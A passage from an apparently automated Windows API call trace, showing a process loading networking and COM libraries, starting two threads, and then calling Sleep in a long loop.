(lpLibFileName="urlmon") returned 0x7ffd41100000 [0260.466] RtlSizeHeap (HeapHandle=0x8870000, Flags=0x0, MemoryPointer=0x8870830) returned 0x10 [0260.466] RtlFreeHeap (HeapHandle=0x8870000, Flags=0x0, BaseAddress=0x8870830) returned 1 [0260.466] RtlAllocateHeap (HeapHandle=0x8870000, Flags=0x8, Size=0xf) returned 0x8870830 [0260.466] LoadLibraryA (lpLibFileName="ole32") returned 0x7ffd50380000 [0260.467] RtlSizeHeap (HeapHandle=0x8870000, Flags=0x0, MemoryPointer=0x8870830) returned 0xf [0260.467] RtlFreeHeap (HeapHandle=0x8870000, Flags=0x0, BaseAddress=0x8870830) returned 1 [0260.467] RtlAllocateHeap (HeapHandle=0x8870000, Flags=0x8, Size=0x11) returned 0x8870830 [0260.467] LoadLibraryA (lpLibFileName="winhttp") returned 0x7ffd46920000 [0260.468] RtlSizeHeap (HeapHandle=0x8870000, Flags=0x0, MemoryPointer=0x8870830) returned 0x11 [0260.468] RtlFreeHeap (HeapHandle=0x8870000, Flags=0x0, BaseAddress=0x8870830) returned 1 [0260.468] RtlAllocateHeap (HeapHandle=0x8870000, Flags=0x8, Size=0x10) returned 0x8870830 [0260.468] LoadLibraryA (lpLibFileName="ws2_32") returned 0x7ffd4e270000 [0260.469] RtlSizeHeap (HeapHandle=0x8870000, Flags=0x0, MemoryPointer=0x8870830) returned 0x10 [0260.469] RtlFreeHeap (HeapHandle=0x8870000, Flags=0x0, BaseAddress=0x8870830) returned 1 [0260.469] RtlAllocateHeap (HeapHandle=0x8870000, Flags=0x8, Size=0x10) returned 0x8870830 [0260.469] LoadLibraryA (lpLibFileName="dnsapi") returned 0x7ffd4b670000 [0260.470] RtlSizeHeap (HeapHandle=0x8870000, Flags=0x0, MemoryPointer=0x8870830) returned 0x10 [0260.470] RtlFreeHeap (HeapHandle=0x8870000, Flags=0x0, BaseAddress=0x8870830) returned 1 [0260.470] RtlAllocateHeap (HeapHandle=0x8870000, Flags=0x8, Size=0x11) returned 0x8870830 [0260.470] LoadLibraryA (lpLibFileName="shell32") returned 0x7ffd4eb30000 [0260.471] RtlSizeHeap (HeapHandle=0x8870000, Flags=0x0, MemoryPointer=0x8870830) returned 0x11 [0260.471] RtlFreeHeap (HeapHandle=0x8870000, Flags=0x0, BaseAddress=0x8870830) returned 1 [0260.471] LoadLibraryA (lpLibFileName="api-ms-win-core-com-l1-1-0") returned 0x7ffd4dc70000 [0260.473] GetProcAddress (hModule=0x7ffd4dc70000, lpProcName="CoInitializeEx") returned 0x7ffd4dcd2c50 [0260.473] LoadLibraryA (lpLibFileName="api-ms-win-core-com-l1-1-0") returned 0x7ffd4dc70000 [0260.475] GetProcAddress (hModule=0x7ffd4dc70000, lpProcName="CoInitializeSecurity") returned 0x7ffd4dca5fe0 [0260.475] LoadLibraryA (lpLibFileName="api-ms-win-core-com-l1-1-0") returned 0x7ffd4dc70000 [0260.476] GetProcAddress (hModule=0x7ffd4dc70000, lpProcName="CoCreateInstance") returned 0x7ffd4dd0fb70 [0260.477] LoadLibraryA (lpLibFileName="api-ms-win-core-com-l1-1-0") returned 0x7ffd4dc70000 [0260.478] GetProcAddress (hModule=0x7ffd4dc70000, lpProcName="CoUninitialize") returned 0x7ffd4dcd1540 [0260.478] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4313ca4, lpParameter=0x4300000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x246c [0260.479] CloseHandle (hObject=0x246c) returned 1 [0260.479] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4313d80, lpParameter=0x4300000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x246c [0260.479] CloseHandle (hObject=0x246c) returned 1 [0260.479] Sleep (dwMilliseconds=0xa) [0260.612] Sleep (dwMilliseconds=0xa) [0260.622] Sleep (dwMilliseconds=0xa) [0260.732] Sleep (dwMilliseconds=0xa) [0260.743] Sleep (dwMilliseconds=0xa) [0260.753] Sleep (dwMilliseconds=0xa) [0260.830] Sleep (dwMilliseconds=0xa) [0260.840] Sleep (dwMilliseconds=0xa) [0260.851] Sleep (dwMilliseconds=0xa) [0260.938] Sleep (dwMilliseconds=0xa) [0260.999] Sleep (dwMilliseconds=0xa) [0261.019] Sleep (dwMilliseconds=0xa) [0261.145] Sleep (dwMilliseconds=0xa) [0261.156] Sleep (dwMilliseconds=0xa) [0261.167] Sleep (dwMilliseconds=0xa) [0261.262] Sleep (dwMilliseconds=0xa) [0261.272] Sleep (dwMilliseconds=0xa) [0261.283] Sleep (dwMilliseconds=0xa) [0261.293] Sleep (dwMilliseconds=0xa) [0261.304] Sleep (dwMilliseconds=0xa) [0261.314] Sleep (dwMilliseconds=0xa) [0261.325] Sleep (dwMilliseconds=0xa) [0261.335] Sleep (dwMilliseconds=0xa) [0261.346] Sleep (dwMilliseconds=0xa) [0261.356] Sleep (dwMilliseconds=0xa) [0261.391] Sleep (dwMilliseconds=0xa) [0261.402] Sleep (dwMilliseconds=0xa) [0261.412] Sleep (dwMilliseconds=0xa) [0261.517] Sleep (dwMilliseconds=0xa) [0261.529] Sleep (dwMilliseconds=0xa) [0261.539] Sleep (dwMilliseconds=0xa) [0261.556] Sleep (dwMilliseconds=0xa) [0261.566] Sleep (dwMilliseconds=0xa) [0261.577] Sleep (dwMilliseconds=0xa) [0261.588] Sleep (dwMilliseconds=0xa) [0261.676] Sleep (dwMilliseconds=0xa) [0261.757] Sleep (dwMilliseconds=0xa) [0261.800] Sleep (dwMilliseconds=0xa) [0261.823] Sleep (dwMilliseconds=0xa) [0261.833] Sleep (dwMilliseconds=0xa) [0261.844] Sleep (dwMilliseconds=0xa) [0261.855] Sleep (dwMilliseconds=0xa) [0261.865] Sleep (dwMilliseconds=0xa) [0261.876] Sleep (dwMilliseconds=0xa) [0261.887] Sleep (dwMilliseconds=0xa) [0261.899] Sleep (dwMilliseconds=0xa) [0261.909] Sleep (dwMilliseconds=0xa) [0261.920] Sleep (dwMilliseconds=0xa) [0262.017] Sleep (dwMilliseconds=0xa) [0262.030] Sleep (dwMilliseconds=0xa) [0262.041] Sleep (dwMilliseconds=0xa) [0262.060] Sleep (dwMilliseconds=0xa) [0262.071] Sleep (dwMilliseconds=0xa) [0262.084] Sleep (dwMilliseconds=0xa) [0262.099] Sleep (dwMilliseconds=0xa) [0262.110] Sleep (dwMilliseconds=0xa) [0262.164] Sleep (dwMilliseconds=0xa) [0262.261] Sleep (dwMilliseconds=0xa) [0262.313] Sleep (dwMilliseconds=0xa) [0262.338] Sleep (dwMilliseconds=0xa) [0262.348] Sleep (dwMilliseconds=0xa) [0262.359] Sleep (dwMilliseconds=0xa) [0262.370] Sleep (dwMilliseconds=0xa) [0262.380] Sleep (dwMilliseconds=0xa) [0262.392] Sleep (dwMilliseconds=0xa) [0262.402] Sleep (dwMilliseconds=0xa) [0262.413] Sleep (dwMilliseconds=0xa) [0262.580] Sleep (dwMilliseconds=0xa) [0262.590] Sleep (dwMilliseconds=0xa) [0262.606] Sleep (dwMilliseconds=0xa) [0262.621] Sleep (dwMilliseconds=0xa) [0262.633] Sleep (dwMilliseconds=0xa) [0262.643] Sleep (dwMilliseconds=0xa) [0262.653] Sleep (dwMilliseconds=0xa) [0262.689] Sleep (dwMilliseconds=0xa) [0262.700] Sleep (dwMilliseconds=0xa) [0262.720] Sleep (dwMilliseconds=0xa) [0262.850] Sleep (dwMilliseconds=0xa) [0262.864] Sleep (dwMilliseconds=0xa) [0262.875] Sleep (dwMilliseconds=0xa) [0262.885] Sleep (dwMilliseconds=0xa) [0262.896] Sleep (dwMilliseconds=0xa) [0262.907] Sleep (dwMilliseconds=0xa) [0262.917] Sleep (dwMilliseconds=0xa) [0262.930] Sleep (dwMilliseconds=0xa) [0262.941] Sleep (dwMilliseconds=0xa) [0262.957] Sleep (dwMilliseconds=0xa) [0262.968] Sleep (dwMilliseconds=0xa) [0262.978] Sleep (dwMilliseconds=0xa) [0262.988] Sleep (dwMilliseconds=0xa) [0262.999] Sleep (dwMilliseconds=0xa) [0263.053] Sleep (dwMilliseconds=0xa) [0263.064] Sleep (dwMilliseconds=0xa) [0263.264] Sleep (dwMilliseconds=0xa) [0263.290] Sleep (dwMilliseconds=0xa) [0263.324] Sleep (dwMilliseconds=0xa) [0263.410] Sleep (dwMilliseconds=0xa) [0263.421] Sleep (dwMilliseconds=0xa) [0263.431] Sleep (dwMilliseconds=0xa) [0263.442] Sleep (dwMilliseconds=0xa) [0263.453] Sleep (dwMilliseconds=0xa) [0263.463] Sleep (dwMilliseconds=0xa) [0263.474] Sleep (dwMilliseconds=0xa) [0263.485] Sleep (dwMilliseconds=0xa) [0263.568] Sleep (dwMilliseconds=0xa) [0263.597] Sleep (dwMilliseconds=0xa) [0263.620] Sleep (dwMilliseconds=0xa) [0263.704] Sleep (dwMilliseconds=0xa) [0263.714] Sleep (dwMilliseconds=0xa) [0263.725] Sleep (dwMilliseconds=0xa) [0263.736] Sleep (dwMilliseconds=0xa) [0263.746] Sleep (dwMilliseconds=0xa) [0263.758] Sleep (dwMilliseconds=0xa) [0263.768] Sleep (dwMilliseconds=0xa) [0263.794] Sleep (dwMilliseconds=0xa) [0263.853] Sleep (dwMilliseconds=0xa) [0263.864] Sleep (dwMilliseconds=0xa) [0263.876] Sleep (dwMilliseconds=0xa) [0263.904] Sleep (dwMilliseconds=0xa) [0263.914] Sleep (dwMilliseconds=0xa) [0263.925] Sleep (dwMilliseconds=0xa) [0263.996] Sleep (dwMilliseconds=0xa) [0264.095] Sleep (dwMilliseconds=0xa) [0264.123] Sleep (dwMilliseconds=0xa) [0264.156] Sleep (dwMilliseconds=0xa) [0264.167] Sleep (dwMilliseconds=0xa) [0264.178] Sleep (dwMilliseconds=0xa) [0264.188] Sleep (dwMilliseconds=0xa) [0264.199] Sleep (dwMilliseconds=0xa) [0264.209] Sleep (dwMilliseconds=0xa) [0264.423] Sleep (dwMilliseconds=0xa) [0264.500] Sleep (dwMilliseconds=0xa) [0264.517] Sleep (dwMilliseconds=0xa) [0264.528] Sleep (dwMilliseconds=0xa) [0264.564] Sleep (dwMilliseconds=0xa) [0264.620] Sleep (dwMilliseconds=0xa) [0264.639] Sleep (dwMilliseconds=0xa) [0264.650] Sleep (dwMilliseconds=0xa) [0264.661] Sleep (dwMilliseconds=0xa) [0264.741] Sleep (dwMilliseconds=0xa) [0264.752] Sleep (dwMilliseconds=0xa) [0264.763] Sleep (dwMilliseconds=0xa) [0264.792] Sleep (dwMilliseconds=0xa) [0264.802] Sleep (dwMilliseconds=0xa) [0264.813] Sleep (dwMilliseconds=0xa) [0264.824] Sleep (dwMilliseconds=0xa) [0264.835] Sleep (dwMilliseconds=0xa) [0264.845] Sleep (dwMilliseconds=0xa) [0264.856] Sleep (dwMilliseconds=0xa) [0264.866] Sleep (dwMilliseconds=0xa) [0264.877] Sleep (dwMilliseconds=0xa) [0264.979] Sleep (dwMilliseconds=0xa) [0265.057] Sleep (dwMilliseconds=0xa) [0265.083] Sleep (dwMilliseconds=0xa) [0265.109] Sleep (dwMilliseconds=0xa) [0265.120] Sleep (dwMilliseconds=0xa) [0265.131] Sleep (dwMilliseconds=0xa) [0265.141] Sleep (dwMilliseconds=0xa) [0265.152] Sleep (dwMilliseconds=0xa) [0265.162] Sleep (dwMilliseconds=0xa) [0265.173] Sleep (dwMilliseconds=0xa) [0265.196] Sleep (dwMilliseconds=0xa) [0265.207] Sleep (dwMilliseconds=0xa) [0265.290] Sleep (dwMilliseconds=0xa) [0265.385] Sleep (dwMilliseconds=0xa) [0265.395] Sleep (dwMilliseconds=0xa) [0265.411] Sleep (dwMilliseconds=0xa) [0265.421] Sleep (dwMilliseconds=0xa) [0265.553] Sleep (dwMilliseconds=0xa) [0265.563] Sleep (dwMilliseconds=0xa) [0265.574] Sleep (dwMilliseconds=0xa) [0265.584] Sleep (dwMilliseconds=0xa) [0265.640] Sleep (dwMilliseconds=0xa) [0265.734] Sleep (dwMilliseconds=0xa) [0265.759] Sleep (dwMilliseconds=0xa) [0265.769] Sleep (dwMilliseconds=0xa) [0265.786] Sleep (dwMilliseconds=0xa) [0265.844] Sleep (dwMilliseconds=0xa) [0265.856] Sleep (dwMilliseconds=0xa) [0265.869] Sleep (dwMilliseconds=0xa) [0265.879] Sleep (dwMilliseconds=0xa) [0265.890] Sleep (dwMilliseconds=0xa) [0265.900] Sleep (dwMilliseconds=0xa) [0265.917] Sleep (dwMilliseconds=0xa) [0265.927] Sleep (dwMilliseconds=0xa) [0265.938] Sleep (dwMilliseconds=0xa) [0266.003] Sleep (dwMilliseconds=0xa) [0266.013] Sleep (dwMilliseconds=0xa) [0266.024] Sleep (dwMilliseconds=0xa) [0266.069] Sleep (dwMilliseconds=0xa) [0266.079] Sleep (dwMilliseconds=0xa) [0266.147] Sleep (dwMilliseconds=0xa) [0266.158] Sleep (dwMilliseconds=0xa) [0266.168] Sleep (dwMilliseconds=0xa) [0266.228] Sleep (dwMilliseconds=0xa) [0266.238] Sleep (dwMilliseconds=0xa) [0266.249] Sleep (dwMilliseconds=0xa) [0266.291] Sleep (dwMilliseconds=0xa) [0266.332] Sleep (dwMilliseconds=0xa) [0266.343] Sleep (dwMilliseconds=0xa) [0266.353] Sleep (dwMilliseconds=0xa) [0266.364] Sleep (dwMilliseconds=0xa) [0266.375] Sleep (dwMilliseconds=0xa) [0266.387] Sleep (dwMilliseconds=0xa) [0266.463] Sleep (dwMilliseconds=0xa) [0266.474] Sleep (dwMilliseconds=0xa) [0266.495] Sleep (dwMilliseconds=0xa) [0266.506] Sleep (dwMilliseconds=0xa) [0266.516] Sleep (dwMilliseconds=0xa) [0266.526] Sleep (dwMilliseconds=0xa) [0266.539] Sleep (dwMilliseconds=0xa) [0266.628] Sleep (dwMilliseconds=0xa) [0266.718] Sleep (dwMilliseconds=0xa) [0266.742] Sleep (dwMilliseconds=0xa) [0266.754] Sleep (dwMilliseconds=0xa) [0266.765] Sleep (dwMilliseconds=0xa) [0266.785] Sleep (dwMilliseconds=0xa) [0266.796] Sleep (dwMilliseconds=0xa) [0266.806] Sleep (dwMilliseconds=0xa) [0266.816] Sleep (dwMilliseconds=0xa) [0266.838] Sleep (dwMilliseconds=0xa) [0266.929] Sleep (dwMilliseconds=0xa) [0267.009] Sleep (dwMilliseconds=0xa) [0267.019] Sleep (dwMilliseconds=0xa) [0267.033] Sleep (dwMilliseconds=0xa) [0267.114] Sleep (dwMilliseconds=0xa) [0267.160] Sleep (dwMilliseconds=0xa) [0267.181] Sleep (dwMilliseconds=0xa) [0267.220] Sleep (dwMilliseconds=0xa) [0267.231] Sleep (dwMilliseconds=0xa) [0267.242] Sleep (dwMilliseconds=0xa) [0267.253] Sleep (dwMilliseconds=0xa) [0267.264] Sleep (dwMilliseconds=0xa) [0267.373] Sleep (dwMilliseconds=0xa) [0267.442] Sleep (dwMilliseconds=0xa) [0267.453] Sleep (dwMilliseconds=0xa) [0267.463] Sleep (dwMilliseconds=0xa) [0267.474] Sleep (dwMilliseconds=0xa) [0267.484] Sleep (dwMilliseconds=0xa) [0267.495] Sleep (dwMilliseconds=0xa) [0267.506] Sleep (dwMilliseconds=0xa) [0267.516] Sleep (dwMilliseconds=0xa) [0267.539] Sleep (dwMilliseconds=0xa) [0267.600] Sleep (dwMilliseconds=0xa) [0267.680] Sleep (dwMilliseconds=0xa) [0267.711] Sleep (dwMilliseconds=0xa) [0267.721] Sleep (dwMilliseconds=0xa) [0267.739] Sleep (dwMilliseconds=0xa) [0267.750] Sleep (dwMilliseconds=0xa) [0267.761] Sleep (dwMilliseconds=0xa) [0267.789] Sleep (dwMilliseconds=0xa) [0267.816] Sleep (dwMilliseconds=0xa) [0267.854] Sleep (dwMilliseconds=0xa) [0267.917] Sleep (dwMilliseconds=0xa) [0267.928] Sleep (dwMilliseconds=0xa) [0267.940] Sleep (dwMilliseconds=0xa) [0267.954] Sleep (dwMilliseconds=0xa) [0268.002] Sleep (dwMilliseconds=0xa) [0268.055] Sleep (dwMilliseconds=0xa) [0268.135] Sleep (dwMilliseconds=0xa) [0268.151] Sleep (dwMilliseconds=0xa) [0268.161] Sleep (dwMilliseconds=0xa) [0268.225] Sleep (dwMilliseconds=0xa) [0268.249] Sleep (dwMilliseconds=0xa) [0268.259] Sleep (dwMilliseconds=0xa) [0268.285] Sleep (dwMilliseconds=0xa) [0268.297] Sleep (dwMilliseconds=0xa) [0268.308] Sleep (dwMilliseconds=0xa) [0268.375] Sleep (dwMilliseconds=0xa) [0268.386] Sleep (dwMilliseconds=0xa) [0268.396] Sleep (dwMilliseconds=0xa) [0268.440] Sleep (dwMilliseconds=0xa) [0268.450] Sleep (dwMilliseconds=0xa) [0268.462] Sleep (dwMilliseconds=0xa) [0268.472] Sleep (dwMilliseconds=0xa) [0268.483] Sleep (dwMilliseconds=0xa) [0268.494] Sleep (dwMilliseconds=0xa) [0268.650] Sleep (dwMilliseconds=0xa) [0268.713] Sleep (dwMilliseconds=0xa) [0268.723] Sleep (dwMilliseconds=0xa) [0268.734] Sleep (dwMilliseconds=0xa) [0268.754] Sleep (dwMilliseconds=0xa) [0268.765] Sleep (dwMilliseconds=0xa) [0268.796] Sleep (dwMilliseconds=0xa) [0268.806] Sleep (dwMilliseconds=0xa) [0268.817] Sleep (dwMilliseconds=0xa) [0268.828] Sleep (dwMilliseconds=0xa) [0268.841] Sleep (dwMilliseconds=0xa) [0268.852] Sleep (dwMilliseconds=0xa) [0268.929] Sleep (dwMilliseconds=0xa) [0268.939] Sleep (dwMilliseconds=0xa) [0268.964] Sleep (dwMilliseconds=0xa) [0268.974] Sleep (dwMilliseconds=0xa) [0268.986] Sleep (dwMilliseconds=0xa) [0268.996] Sleep (dwMilliseconds=0xa) [0269.118] Sleep (dwMilliseconds=0xa) [0269.210] Sleep (dwMilliseconds=0xa) [0269.221] Sleep (dwMilliseconds=0xa) [0269.347] Sleep (dwMilliseconds=0xa) [0269.367] Sleep (dwMilliseconds=0xa) [0269.388] Sleep (dwMilliseconds=0xa) [0269.398] Sleep (dwMilliseconds=0xa) [0269.409] Sleep (dwMilliseconds=0xa) [0269.454] Sleep (dwMilliseconds=0xa) [0269.465] Sleep (dwMilliseconds=0xa) [0269.475] Sleep (dwMilliseconds=0xa) [0269.487] Sleep (dwMilliseconds=0xa) [0269.498] Sleep (dwMilliseconds=0xa) [0269.509] Sleep (dwMilliseconds=0xa) [0269.522] Sleep (dwMilliseconds=0xa) [0269.536] Sleep (dwMilliseconds=0xa) [0269.547] Sleep (dwMilliseconds=0xa) [0269.601] Sleep (dwMilliseconds=0xa) [0269.612] Sleep (dwMilliseconds=0xa) [0269.623] Sleep (dwMilliseconds=0xa) [0269.698] Sleep (dwMilliseconds=0xa) [0269.709] Sleep (dwMilliseconds=0xa) [0269.719] Sleep (dwMilliseconds=0xa) [0269.730] Sleep (dwMilliseconds=0xa) [0269.740] Sleep (dwMilliseconds=0xa) [0269.755] Sleep (dwMilliseconds=0xa) [0269.767] Sleep (dwMilliseconds=0xa) [0269.790] Sleep (dwMilliseconds=0xa) [0269.842] Sleep (dwMilliseconds=0xa) [0269.853] Sleep (dwMilliseconds=0xa) [0269.864] Sleep (dwMilliseconds=0xa) [0269.913] Sleep (dwMilliseconds=0xa) [0270.048] Sleep (dwMilliseconds=0xa) [0270.096] Sleep (dwMilliseconds=0xa) [0270.118] Sleep (dwMilliseconds=0xa) [0270.170] Sleep (dwMilliseconds=0xa) [0270.181] Sleep (dwMilliseconds=0xa) [0270.192] Sleep (dwMilliseconds=0xa) [0270.318] Sleep (dwMilliseconds=0xa) [0270.382] Sleep (dwMilliseconds=0xa) [0270.393] Sleep (dwMilliseconds=0xa) [0270.403] Sleep (dwMilliseconds=0xa) [0270.414] Sleep (dwMilliseconds=0xa) [0270.425] Sleep (dwMilliseconds=0xa) [0270.436] Sleep (dwMilliseconds=0xa) [0270.447] Sleep (dwMilliseconds=0xa) [0270.457] Sleep (dwMilliseconds=0xa) [0270.468] Sleep (dwMilliseconds=0xa) [0270.478] Sleep (dwMilliseconds=0xa) [0270.489] Sleep (dwMilliseconds=0xa) [0270.500] Sleep (dwMilliseconds=0xa) [0270.561] Sleep (dwMilliseconds=0xa) [0270.631] Sleep (dwMilliseconds=0xa) [0270.671] Sleep (dwMilliseconds=0xa) [0270.708] Sleep (dwMilliseconds=0xa) [0270.734] Sleep (dwMilliseconds=0xa) [0270.745] Sleep (dwMilliseconds=0xa) [0270.756] Sleep (dwMilliseconds=0xa) [0270.767] Sleep (dwMilliseconds=0xa) [0270.794] Sleep (dwMilliseconds=0xa) [0270.805] Sleep (dwMilliseconds=0xa) [0270.881] Sleep (dwMilliseconds=0xa) [0270.892] Sleep (dwMilliseconds=0xa) [0270.902] Sleep (dwMilliseconds=0xa) [0270.913] Sleep (dwMilliseconds=0xa) [0270.923] Sleep (dwMilliseconds=0xa) [0270.934] Sleep (dwMilliseconds=0xa) [0270.944] Sleep (dwMilliseconds=0xa) [0270.961] Sleep (dwMilliseconds=0xa) [0270.971] Sleep (dwMilliseconds=0xa) [0271.089] Sleep (dwMilliseconds=0xa) [0271.214] Sleep (dwMilliseconds=0xa) [0271.255] Sleep (dwMilliseconds=0xa) [0271.266] Sleep (dwMilliseconds=0xa) [0271.277] Sleep (dwMilliseconds=0xa) [0271.288] Sleep (dwMilliseconds=0xa) [0271.298] Sleep (dwMilliseconds=0xa) [0271.310] Sleep (dwMilliseconds=0xa) [0271.326] Sleep (dwMilliseconds=0xa) [0271.337] Sleep (dwMilliseconds=0xa) [0271.347] Sleep (dwMilliseconds=0xa) [0271.359] Sleep (dwMilliseconds=0xa) [0271.513] Sleep (dwMilliseconds=0xa) [0271.578] Sleep (dwMilliseconds=0xa) [0271.589] Sleep (dwMilliseconds=0xa) [0271.604] Sleep (dwMilliseconds=0xa) [0271.627] Sleep (dwMilliseconds=0xa) [0271.638] Sleep (dwMilliseconds=0xa) [0271.648] Sleep (dwMilliseconds=0xa) [0271.733] Sleep (dwMilliseconds=0xa) [0271.743] Sleep (dwMilliseconds=0xa) [0271.753] Sleep (dwMilliseconds=0xa) [0271.764] Sleep (dwMilliseconds=0xa) [0271.796] Sleep (dwMilliseconds=0xa) [0271.806] Sleep (dwMilliseconds=0xa) [0271.819] Sleep (dwMilliseconds=0xa) [0271.829] Sleep (dwMilliseconds=0xa) [0271.866] Sleep (dwMilliseconds=0xa) [0271.878] Sleep (dwMilliseconds=0xa) [0271.889] Sleep (dwMilliseconds=0xa) [0271.901] Sleep (dwMilliseconds=0xa) [0271.945] Sleep (dwMilliseconds=0xa) [0271.957] Sleep (dwMilliseconds=0xa) [0271.968] Sleep (dwMilliseconds=0xa) [0271.978] Sleep (dwMilliseconds=0xa) [0271.988] Sleep (dwMilliseconds=0xa) [0271.999] Sleep (dwMilliseconds=0xa) [0272.025] Sleep (dwMilliseconds=0xa) [0272.036] Sleep (dwMilliseconds=0xa) [0272.082] Sleep (dwMilliseconds=0xa) [0272.118] Sleep (dwMilliseconds=0xa) [0272.172] Sleep (dwMilliseconds=0xa) [0272.203] Sleep (dwMilliseconds=0xa) [0272.214] Sleep (dwMilliseconds=0xa) [0272.225] Sleep (dwMilliseconds=0xa) [0272.253] Sleep (dwMilliseconds=0xa) [0272.263] Sleep (dwMilliseconds=0xa) [0272.326] Sleep (dwMilliseconds=0xa) [0272.338] Sleep (dwMilliseconds=0xa) [0272.348] Sleep (dwMilliseconds=0xa) [0272.414] Sleep (dwMilliseconds=0xa) [0272.425] Sleep (dwMilliseconds=0xa) [0272.436] Sleep (dwMilliseconds=0xa) [0272.446] Sleep (dwMilliseconds=0xa) [0272.457] Sleep (dwMilliseconds=0xa) [0272.469] Sleep (dwMilliseconds=0xa) [0272.480] Sleep (dwMilliseconds=0xa) [0272.497] Sleep (dwMilliseconds=0xa) [0272.632] Sleep (dwMilliseconds=0xa) [0272.686] Sleep (dwMilliseconds=0xa) [0272.723] Sleep (dwMilliseconds=0xa) [0272.803] Sleep (dwMilliseconds=0xa) [0272.814] Sleep (dwMilliseconds=0xa) [0272.825] Sleep (dwMilliseconds=0xa) [0272.836] Sleep (dwMilliseconds=0xa) [0272.847] Sleep (dwMilliseconds=0xa) [0272.860] Sleep (dwMilliseconds=0xa) [0272.872] Sleep (dwMilliseconds=0xa) [0272.882] Sleep (dwMilliseconds=0xa) [0272.893] Sleep (dwMilliseconds=0xa) [0272.910] Sleep (dwMilliseconds=0xa) [0272.995] Sleep (dwMilliseconds=0xa) [0273.006] Sleep (dwMilliseconds=0xa) [0273.016] Sleep (dwMilliseconds=0xa) [0273.043] Sleep (dwMilliseconds=0xa) [0273.056] Sleep (dwMilliseconds=0xa) [0273.066] Sleep (dwMilliseconds=0xa) [0273.237] Sleep (dwMilliseconds=0xa) [0273.307] Sleep (dwMilliseconds=0xa) [0273.346] Sleep (dwMilliseconds=0xa) [0273.384] Sleep (dwMilliseconds=0xa) [0273.395] Sleep (dwMilliseconds=0xa) [0273.407] Sleep (dwMilliseconds=0xa) [0273.418] Sleep (dwMilliseconds=0xa) [0273.430] Sleep (dwMilliseconds=0xa) [0273.441] Sleep (dwMilliseconds=0xa) [0273.451] Sleep (dwMilliseconds=0xa) [0273.462] Sleep (dwMilliseconds=0xa) [0273.473] Sleep (dwMilliseconds=0xa) [0273.556] Sleep (dwMilliseconds=0xa) [0273.571] Sleep (dwMilliseconds=0xa) [0273.584] Sleep (dwMilliseconds=0xa) [0273.596] Sleep (dwMilliseconds=0xa) [0273.607] Sleep (dwMilliseconds=0xa) [0273.617] Sleep (dwMilliseconds=0xa) [0273.628] Sleep (dwMilliseconds=0xa) [0273.639] Sleep (dwMilliseconds=0xa) [0273.649] Sleep (dwMilliseconds=0xa) [0273.660] Sleep (dwMilliseconds=0xa) [0273.670] Sleep (dwMilliseconds=0xa) [0273.681] Sleep (dwMilliseconds=0xa) [0273.691] Sleep (dwMilliseconds=0xa) [0273.907] Sleep (dwMilliseconds=0xa) [0273.917] Sleep (dwMilliseconds=0xa) [0273.928] Sleep (dwMilliseconds=0xa) [0273.938] Sleep (dwMilliseconds=0xa) [0273.956] Sleep (dwMilliseconds=0xa) [0273.967] Sleep (dwMilliseconds=0xa) [0273.978] Sleep (dwMilliseconds=0xa) [0273.988] Sleep (dwMilliseconds=0xa) [0274.035] Sleep (dwMilliseconds=0xa) [0274.046] Sleep (dwMilliseconds=0xa) [0274.056] Sleep (dwMilliseconds=0xa) [0274.067] Sleep (dwMilliseconds=0xa) [0274.126] Sleep (dwMilliseconds=0xa) [0274.220] Sleep (dwMilliseconds=0xa) [0274.255] Sleep (dwMilliseconds=0xa) [0274.266] Sleep (dwMilliseconds=0xa) [0274.277] Sleep (dwMilliseconds=0xa) [0274.313] Sleep (dwMilliseconds=0xa) [0274.324] Sleep (dwMilliseconds=0xa) [0274.335] Sleep (dwMilliseconds=0xa) [0274.345] Sleep (dwMilliseconds=0xa) [0274.356] Sleep (dwMilliseconds=0xa) [0274.367] Sleep (dwMilliseconds=0xa) [0274.378] Sleep (dwMilliseconds=0xa) [0274.389] Sleep (dwMilliseconds=0xa) [0274.399] Sleep (dwMilliseconds=0xa) [0274.482] Sleep (dwMilliseconds=0xa) [0274.540] Sleep (dwMilliseconds=0xa) [0274.574] Sleep (dwMilliseconds=0xa) [0274.624] Sleep (dwMilliseconds=0xa) [0274.652] Sleep (dwMilliseconds=0xa) [0274.663] Sleep (dwMilliseconds=0xa) [0274.675] Sleep (dwMilliseconds=0xa) [0274.686] Sleep (dwMilliseconds=0xa) [0274.697] Sleep (dwMilliseconds=0xa) [0274.707] Sleep (dwMilliseconds=0xa) [0274.718] Sleep (dwMilliseconds=0xa) [0274.805] Sleep (dwMilliseconds=0xa) [0274.816] Sleep (dwMilliseconds=0xa) [0274.827] Sleep (dwMilliseconds=0xa) [0274.856] Sleep (dwMilliseconds=0xa) [0274.868] Sleep (dwMilliseconds=0xa) [0275.076] Sleep (dwMilliseconds=0xa) [0275.139] Sleep (dwMilliseconds=0xa) [0275.150] Sleep (dwMilliseconds=0xa) [0275.161] Sleep (dwMilliseconds=0xa) [0275.171] Sleep (dwMilliseconds=0xa) [0275.182] Sleep (dwMilliseconds=0xa) [0275.193] Sleep (dwMilliseconds=0xa) [0275.203] Sleep (dwMilliseconds=0xa) [0275.214] Sleep (dwMilliseconds=0xa) [0275.224] Sleep (dwMilliseconds=0xa) [0275.235] Sleep (dwMilliseconds=0xa) [0275.292] Sleep (dwMilliseconds=0xa) [0275.373] Sleep (dwMilliseconds=0xa) [0275.409] Sleep (dwMilliseconds=0xa) [0275.419] Sleep (dwMilliseconds=0xa) [0275.449] Sleep (dwMilliseconds=0xa) [0275.460] Sleep (dwMilliseconds=0xa) [0275.470] Sleep (dwMilliseconds=0xa) [0275.499] Sleep (dwMilliseconds=0xa) [0275.510] Sleep (dwMilliseconds=0xa) [0275.520] Sleep (dwMilliseconds=0xa) [0275.578] Sleep (dwMilliseconds=0xa) [0275.588] Sleep (dwMilliseconds=0xa) [0275.599] Sleep (dwMilliseconds=0xa) [0275.697] Sleep (dwMilliseconds=0xa) [0275.741] Sleep (dwMilliseconds=0xa) [0275.763] Sleep (dwMilliseconds=0xa) [0275.790] Sleep (dwMilliseconds=0xa) [0275.835] Sleep (dwMilliseconds=0xa) [0275.845] Sleep (dwMilliseconds=0xa) [0275.856] Sleep (dwMilliseconds=0xa) [0275.866] Sleep (dwMilliseconds=0xa) [0275.877] Sleep (dwMilliseconds=0xa) [0275.891] Sleep (dwMilliseconds=0xa) [0275.968] Sleep (dwMilliseconds=0xa) [0276.029] Sleep 